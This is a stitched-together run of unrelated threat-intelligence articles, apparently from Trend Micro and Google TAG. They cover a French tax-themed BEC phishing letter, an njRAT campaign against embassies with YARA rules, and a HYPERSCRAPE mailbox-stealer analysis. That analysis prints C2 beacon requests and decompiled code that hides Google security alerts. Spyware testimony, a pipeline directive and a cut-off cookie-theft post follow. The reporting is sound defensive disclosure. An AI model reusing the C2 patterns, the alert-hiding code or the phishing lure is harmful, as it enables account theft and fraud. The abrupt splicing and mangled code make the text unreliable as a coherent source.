The translation of the text found in the PDF file is as follows: As happens every year, in accordance with the Stability and Growth Pact with the European Commission, the Directorate General of Public Finances is launching an investigation as part of the verification of compliance with SEPA (Single Euro Payments Area) conditions and  international standards.


As such, in accordance with the provisions of articles L.81, L.85 and article L.102 B of the book of tax procedures, I would like to have, as soon as possible and no later than July 20, 2020, in dematerialized form, for each of your three (3) main Customers who pay their services by SEPA (Single Euro Payments Area) transfer for the period from 04/01/2020 to 07/31/2020 of: The aging balance to date, duplicate invoice correspondents (Not having been paid by the customer and concerning the June, July and August deadlines), contacts of the financial or accounting department (Emails, Telephones and Postal address) and one (1) duly signed and sealed commercial contract.  I would point out that this operation does not constitute a verification of your tax situation and indicates to you that any refusal to cooperate is sanctioned by a tax fine provided for in article 1734 of the general tax code.


I invite you to send us these documents in dematerialized form on our secure and functional messaging: odac@dgfip-finances-gouv[.]cloud


While thanking you for your cooperation, please believe in the assurance of my distinguished feelings.


The PDF letter looks (and reads) like a real document from the French tax service.


In fact, most French people would probably think this is a legitimate letter unless they look closely at the email address used (dgfip-finances-gouv[.]cloud instead of the real domain, which is dgfip.finances.gouv.fr).  As we highlighted in bold, the social engineering trick used in this email is for gathering data that could potentially be useful for the malicious actors, such as client information and commercial contracts.


Once this information is in the hands of the scammers, they can then move on to the next stage of the attack, which involves reaching out to the three contacts mentioned in the PDF file.


One interesting side note: it seems the BEC scammers actually built their PDF file from a real PDF file used by the French tax system.


The real name of the author of the document (as seen in the metadata) is indeed the name of a real government employee working in the department responsible for handling tax-related issues.


The use of tax-related scams is something we’ve seen before.


This incident confirms that the information stolen using tax fraud is being used for malicious purposes, in this case, a BEC scam.


Expanding the target range We searched our systems for similar emails and found at least 73 different French companies targeted by these cybercriminals.      Figure 8.


The industry distribution of the companies targeted in this particular BEC scam.


Organizations in the manufacturing sector were by far the most targeted     The most targeted industry in this BEC campaign is manufacturing, particularly manufacturing companies that build high tech products and materials.


This was followed by the healthcare, real estate, energy, and food and beverage industries.


Many of the targeted companies work with many different service providers and partners, making requests for changes in banking references look less suspicious.  It’s highly likely that the fraud is more widespread than we have data on.


In addition to reaching out and working with the first organization we investigated, we also notified the other targets, all of whom have been very reactive to the threat.


We also helped close the fraudulent domains.


Defending your organization from BEC attacks  Businesses are advised to educate employees on how BEC scams and other similar attacks work.


These schemes do not require advanced technical skills: all that’s needed to launch an effective BEC scam is a single compromised account and services that are widely available in the cybercriminal underground.


As such, here are some tips on how to stay safe from these online schemes:  Carefully scrutinize all emails.


Be wary of irregular emails sent by high-level executives, especially those that have an unusual sense of urgency, as they can be used to trick employees into furthering the scam.


Always review emails requesting for funds to determine if the requests are out of the ordinary.


Raise employee awareness.


While employees are a company’s biggest asset, they can also be its weakest link when it comes to security.


Commit to training employees, reviewing company policies, and developing good security habits.


Verify any changes in vendor payment location by using a secondary sign-off by company personnel.


Stay updated on customer habits, including the details and reasons behind payments.


Always verify requests.


Confirm requests for fund transfers using phone verification as a part of two-factor authentication (2FA), use known familiar numbers and not the details provided in the email requests.


Report any incident immediately to law enforcement or file a complaint with the Internet Crime Complaint Center (IC3).  Trend Micro Solutions Email


The email security capabilities of the Trend Micro User Protection and Network Defense solutions can block email messages used in Business Email Compromise attacks.


Malware  Endpoint security capabilities in Trend Micro User Protection and Network Defense solutions can detect advanced malware and other threats used in BEC schemes.


Indicators of Compromise (IoCs) Domains  dgfip-finances-gouv[.]cloud  bellingstudio@gmail.com      Tags


Articles, News, Reports | APT & Targeted Attacks | Research


A couple of common questions that arise whenever cyberpropaganda and hacktivism issues come up: who engages in it?


Where do the people acquire the tools, skills, and techniques used?


As it turns out, in at least one case, it comes from the traditional world of cybercrime.


We’ve come across a case where a cybercriminal based in Libya turned from cybercrime to cyberpropaganda.


This highlights how the cybercrime underground in the Middle East/North African region (covered in our paper titled Digital Souks: A Glimpse into the Middle Eastern and North African Underground) can expand their activity into areas beyond their original area of expertise.


DiscoveryOur first inkling of this threat came when we spotted a spear-phishing email campaign targeting several embassies of various European countries.


These used an alarming “Tourist attack!!” subject, and usually spoofed addresses of various Foreign Affairs ministries.


The email attachments were RAR files containing an obfuscated VBS file, which had a low infection rate at the time of the incident.


Once the multiple layers of script obfuscation are removed, the final payload arrives—a version of the njRAT Trojan; this family has been a known threat since 2015.


The obfuscation used was not particularly sophisticated.


A variable containing a second layer VBS script was encoded in Unicode characters and decoded with a combination of basic string functions such as ChrW, AscW, and Mid before being run with a call to Execute.


A simple Yara rule allowed us to find more of these obfuscated VBS scripts: rule layer1_vbs { strings: $vbs = /[a-z]+ = [a-z]+ & ChrW\(AscW\(Mid\([a-z]+, [a-z]+, 1\)\) – [a-z]+ \* [a-z]+\)/ wide condition: $vbs }


We believe that this specific VBS obfuscation script was created by the N7r team, a North African hacking group known for making video tutorials on using common RATs (that this particular script wasn’t part of any such videos).


We initially thought that this team—or someone close to them using their tools—launched the campaign.


As the campaign became more prominent, the detection rate for these scripts improved.


This led the person behind the campaign to send new emails to other diplomatic targets, as well as other targets (such as hotels and other companies) in North Africa.


The new emails used more common phishing tactics, such as alleged requests for payment confirmation.


At least one message was sent to a diplomat based in the island of Saint Martin after Hurricane Irma hit.


This particular actor was at something of a crossroads regarding his cybercrime “career”: while he’s still making good money from simple scams, he’s also improving his skills and branching out to targeted attacks.


The attachments used in this second wave was more sophisticated, but barely so.


The most meaningful change was the addition of an extra layer of VBS obfuscation.


The payload was still njRAT.


We were able to find other samples with the same technique, but these samples did not have ties to N7r.


We believe that our attacker finds obfuscators in various forums, and chains them together in an attempt to avoid detection.


This is the Yara rule we used to search for similar samples: rule layer0_vbs { strings: $code = /Dim \w+\s+\r\n\s+For Each \w+ In split\(\w+,”.+”\)\r\n\s+\w+ = \w+ & ChrW\(\w+ – “\d+”\)/ condition: $code }


These Yara rules allowed us to find other samples, which delivered other basic RATs like H-Worm, Luminosity, and RemCOS.


These samples connected to other C&C servers, which we were able to use to connect them all to the threat actor.


Some of these domains were also tied to banking malware, confirming our attacker was not limited to embassies.


OPSEC 101 – Or How Not To Do OPSECGathering the above information was enough to protect our customers.


However, we decided to dig a little further and noticed a few things.


The attacker almost always sent his mails from a Libyan IP address.


In some cases, compromised SMTP servers belonging to the hotels he had breached were used.


He didn’t bother using services which hid his IP addresses from mail headers, which allowed us to correlate these addresses to a dynamic DNS domain used by the attacker.


We also checked the registrant data of the domains used by the attacker.


This information was exceptionally useful, as it allowed us to find multiple Facebook accounts controlled by the threat actor.


We then confirmed his location (Libya) as well as his probable identity.


What was more surprising was what he was doing with the stolen documents—apparently, he had decided to post the documents on social media:


Figure 1. Stolen document posted on Facebook (Click to enlarge)


He didn't just post embassy documents on Facebook: he also posted stolen credit cards and screens of defaced websites.


Figure 2. Stolen credit cards (Click to enlarge)


This threat actor first published stolen documents in April 2016.


His motives remain unclear since the documents themselves did not contain any particularly unusual information.


Leaking supposedly secret documents to try to discredit groups and/or sway public opinion is a hallmark of cyberpropaganda efforts—even if the documents appear to be of limited value.


Perhaps he wanted to damage the reputation of the Libyan government, or he aimed to increase his popularity by appearing to be more skilled and sell other services (he offered an old exploit for Office 2007 in January 2017 on Facebook).


This incident shows how the worlds of cybercrime and cyberpropaganda can be intertwined: the tools and techniques are equally effective.


Organizations should realize that defending against attacks should focus on what is technically plausible, as this will ensure protection against various threat actors—even those you don’t expect.


Indicators of CompromiseFiles with the following hashes were used in the first series of attacks:  cd8329f75b1393ead3e16c6c79ee1ab476e6487370481e5931feb63305f00983 – detected as VBS_KEYLOG.NYKW f46f0e8eed0361294200d64e87b3fb13f6a3797f99f5b588444534f27612a590 – archive file;


contents detected as VBS_KEYLOG.NYKW fd883a978dd6d95fa5c3b5e0a154e0e07b06e7cb6c685f1ca9f58c73122df24d – archive file; contents detected as VBS_KEYLOG.NYKW 7413c7c0317e49e49d595408f721c2ab2f120215374accf2f8133c9d9ad603fb – detected as WORM_DUNIHI.AUSHH 89427241e26748949c235fc43805c72960d9c2711fa72036c33137648bb475fa – detected as VBS_REMCOS.B


Files with the following hashes were used in the second series of attacks:  fb5b5906feab268f90789b15351b8a193fb5f445a3ae9afb1da8fb814ed80325 – detected as VBS_KEYLOG.NYKW 306f4f843c5a5a119a3385ad2b18c78a04fac618031ddecabf0633083a6c9a76 – detected as VBS_KEYLOG.NYKW 33709ca050fd0abc2aba38326996bf1c3b6d9b875228c9f15e624f9002c199a8 – detected as VBS_OBFUS.VUJ ff0f9057d3da7b3500f145ce24670c89a93cdb5cbe74946b17397fc466ddfbda – detected as VBS_AUTORUN.ASUHK 9b7cc8f4807df162f99f5fa592bc7cc5c6a756d9c0311c7b2529f19a0ac59c1a – archive file; contents detected as VBS_OBFUS.VUK 587e38fb11bd0c4021ce6965e92838521616ee4c5506ef0fa160452e9c71d5cf – detected as VBS_OBFUS.VUK         Tags  APT & Targeted Attacks | Malware | Research | Articles, News, Reports


As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.


For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.


Now, we’re shining light on a new tool of theirs.


In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.


The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.


We have seen it deployed against fewer than two dozen accounts located in Iran.


The oldest known sample is from 2020, and the tool is still under active development.


We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.


This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.


HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.


Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.


HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.


It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.


Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.


After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.


Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.


The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.


We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.


HYPERSCRAPE won't run unless in a directory with other file dependencies.


When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.


In the version tested, the C2 was unobfuscated and stored as a hardcoded string.


In later versions it was obfuscated with Base64.


GET http://{C2}/Index.php?Ck=OK HTTP/1.1


Host: {C2}


Accept-Encoding: gzip Connection: Keep-Alive


The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.


A new form is displayed if the information is not provided via command prompt.


Once provided, the data in the "Identity" field is sent to a C2 for confirmation.


Again, the response is expected to be "OK".


GET http://{C2}/Index.php?vubc={identity} HTTP/1.1


Host: {C2} Accept-Encoding: gzip


If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.


After parsing, the cookies are inserted into a local cache used by the embedded web browser.


A new folder named "Download" is created adjacent to the main binary.


The browser then navigates to Gmail to begin the data collection.


The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.


If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.


Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.


The language is returned to its original setting when the run is finished.


HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.


It does the following for each email found: The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.


A log file is written containing a count of the emails that were downloaded.


When finished, a HTTP POST request is made to the C2 to relay the status and system information.


The downloaded emails are not sent to the C2.


POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }


The program will delete any security emails from Google generated by the attacker’s activity.


private bool IsThereAnyEMail() { List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName("span") where x.TextContent.StartsWith ("Security alert") || x.TextContent.StartsWith("Archive of Google data requested") || x.TextContent.StartsWith("Your Google data archive is ready") || x.TextContent.StartsWith("Your Google data is ready") || x.TextContent.StartsWith("Critical security alert") ||


x.TextContent.StartsWith("Access for less secure apps has been turned on") ||


x.TextContent.StartsWith("Review blocked sign-in attempt") || x.TextContent.


StartsWith("Help us protect you: Security advice from Google")


x.TextContent.StartsWith("Access for less secure apps has been turned on") select x).ToList


GeckoHtmlElement > (


; bool flag = list.Count == 0; return !flag; }


Data from Google Takeout is also available upon request, but the option was only found in early builds.


The functionality was not automated and it's unclear why it was removed in later versions.


When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.


When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.


public void ManageTakeOut() { string text = "PipeName";


Process process = new Process(); process.StartInfo.Arguments = string.Format("PIPE Google \"{0}\"", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();


PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)


{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }


jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }


catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }


pipeCommunication.Close(); }


TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.


It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.


We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.


We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.


In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.


C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries


03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.


It was last updated on July 29, 2022.


The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.  Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee: Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.


We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.


Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.


We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.


Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.


TAG actively monitors threat actors and the evolution of their tactics and techniques.


For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.


We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.


We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.


TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.


And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.


We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.


Google has a long track record combating commercial surveillance tools targeting our users.


In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.


At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.


We observed fewer than three dozen installs of this spyware.


We remediated the compromises for these users and implemented controls to protect all Android users.


NSO Group continues to pose risks across the Internet ecosystem.


In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.


Google was able to identify the vulnerability in use and fix the exploit quickly.


In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.


iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.


Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.


Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.


Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.


For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.


We assessed that a surveillance vendor packaged and sold these technologies.


Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.


Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.


Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.


We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.


Among other targets, this spyware was used to compromise journalists and opposition politicians.


Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.


TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.


In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.


They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.


In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.


The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.


Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.


Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.


These vendors operate with deep technical expertise to develop and operationalize exploits.


We believe its use is growing, fueled by demand from governments.


Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.


TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.


This industry appears to be thriving.


In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.


This trend should be concerning to the United States and all citizens.


These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.


While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.


We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.


Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.


The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.


In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.


While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.


This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.


The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.


This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.


Across all Google products, we incorporate industry-leading security features and protections to keep our users safe.


On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.


Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files.


Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.


On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.


Spoofers may send forged messages using an organization’s real name or domain to subvert authentication measures.


We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.


And we offer other advanced phishing and malware protection to administrators to better protect their users.


By default, Gmail displays warnings and moves untrustworthy emails to the user’s spam folder.


However administrators can also use advanced security settings to enhance their users’ protection against suspicious attachments and scripts from untrusted senders.


For Android, through its entire development lifecycle, we subject the products to a rigorous security program.


The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.


We ensure appropriate controls are built into the architecture of the system.


During the development stage, Android-created and open source components are subject to vigorous security reviews


For users, Android provides safety and control over how apps and third parties can access the data from their devices.


For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.


We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands.


For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.


Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents.


Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.


We also provide research grants to security researchers to help fund and support the research community.


This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.


Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.


Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.


Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.


We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.


To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.


APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.


We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.


The first step is to understand the scope of the problem.


We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.


The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.


The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.


We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.


Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.


The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.


Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry.


Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.


Google is investing heavily as a company and as an industry to counter serious threats to our users.


In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.


While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.


Google is committed to leading the industry in detecting and disrupting these threats.


I thank the Committee for this attention on this critical issue.


While it seems almost cliché now, we are living in unprecedented times.


The global pandemic has forced organizations everywhere to deal not only with health and supply-chain challenges, but also with increasing political turmoil that can negatively impact ongoing operations.


And with the military action in Ukraine, evidence of widespread defacement of government websites, and targeted attacks against government agencies and financial institutions in the region serving as yet another layer of risk to deal with, it has never been more important to be on top of your security game.


Keep focused on the attack surface While every organization will have their own definition of what risk means to them, the ability to understand, communicate, and mitigate that risk is critical to being resilient in the face of the global events unfolding.


In order to understand your risk, you first need to understand your attack surface—where can risk be introduced in the digital platform that makes up how your organization runs?


Once you know what your attack surface is, you need the tools to both assess the risk and then mitigate it.


Given that the attack surface is constantly changing, it really is a lifecycle—an attack surface risk management lifecycle—that needs the right tools in place to help with cyber resilience.


Managing risk with security best practices


With so much diversity in the attack surface, it’s important to leverage security best practices to manage your cyber risk.


Organizations should:   Ensure your systems are updated (especially security solutions) with the latest critical patches and versions.


These are a critical part of your attack surface.


Make sure you have configured your security solutions according to best practices from the vendor, including widespread use of multi-factor authentication.


For Trend Micro solutions, ensure you are leveraging the latest sophisticated security capabilities like machine learning, behavior monitoring, application control, and more.


Get advice here: https://success.trendmicro.com


As outlined in real-world testing activities like the Mitre Engenuity ATT&CK evalutions, being able to detect and respond across layers to a cyber attack is a fundamental requirement for managing cyber risk.


If you are not using some form of extended detection and response (XDR) or managed XDR today, you need to put something in place immediately.


Without this type of visibility and ability to respond to attacks, you are at significantly higher risk.


Pay close attention to unrecognized network traffic (both inbound and outbound) and watch for sophisticated new phishing attacks.


Follow-up quickly on security alerts and conduct more close investigation as necessary.


Where possible, reduce your attack surface.


Whether a financially motivated group, a nation state, or an advanced group that behaves like one, attackers facing a smaller attack surface along with the greater visibility in #3 mean a stronger security and reduced risk.


How to do that?


Reducing attack surface includes patching and Zero Trust techniques for better posture, including knowing the true state of identities, devices, cloud assets, and things.


Following these best practices will help you to better manage the cyber risk that your organization is facing, regardless of the unknowns that we are all dealing with today—and tomorrow.


Our research teams and threat hunters will work vigilantly to monitor and identify any new threat intelligence and will continue to share updates here: trendmicro.com/ukrainecrisis.


This blog has been revised to include new facts that have been released since the original posting.


Tags  Cloud | Cyber Crime | Exploits & Vulnerabilities | Expert Perspective | Phishing | Cyber Threats | APT & Targeted Attacks | Endpoints | Mobile | Articles, News, Reports


Last July 20, 2021, the Department of Homeland Security’s (DHS) Transportation Security Administration (TSA) released its second security directive, requiring the owners and operators of TSA-designated critical pipelines to implement various protection against cyber attacks.


According to Alejandro N. Mayorkas, Secretary of Homeland Security, through the directive the DHS can better ensure that the pipeline sector takes the much-needed steps to protect its operations against cyber threats.


“Public-private partnerships are critical to the security of every community across our country and DHS will continue working closely with our private sector partners to support their operations and increase their cybersecurity resilience,” Mayorkas added.


This is the second directive the TSA issued to the pipeline sector this 2021, building on the initial Security Directive released on May 2021 following the ransomware attack on Colonial Pipeline by DarkSide.


The second directive requires critical pipeline owners and operators to implement specific mitigation measures to protect against ransomware attacks and other threats to IT and OT systems.


It also requires owners and operators to develop and implement a cybersecurity contingency and recovery plan as well as to conduct a cybersecurity architecture design review.


On the other hand, the May directive requires owners and operators to report confirmed and potential cybersecurity incidents to the Cybersecurity and Infrastructure Security Agency (CISA), assign a cybersecurity coordinator available 24/7, review current practices, and determine any gaps related to remediation measures, addressing cyber-related risks and report the results to TSA and CISA.


Aside from the new directives, it is also pertinent for pipeline operators and owners to keep up-to-date with the latest threats and risks related to smart factories.


Stakeholders must grasp their factory’s current situation, set goals, and identify ways to fill such goals alongside their current skills gap.


Moreover, best practices must be considered and implemented to keep operations running.


To learn more about protecting smart factories, check out the following forward-looking research by Trend Micro:


Practical Risk Assessments for Smart Factories Best Practices for Securing Smart Factories: Three Steps to Keep Operations Running      Tags  Latest News | Cyber Threats | ICS OT | APT & Targeted Attacks | IoT | Ransomware | Articles, News, Reports


Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.


Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.


The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.


In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.


We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.


With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).


Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.


In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.


Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.


While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.


Many YouTube creators provide an email address on their channel for business opportunities.


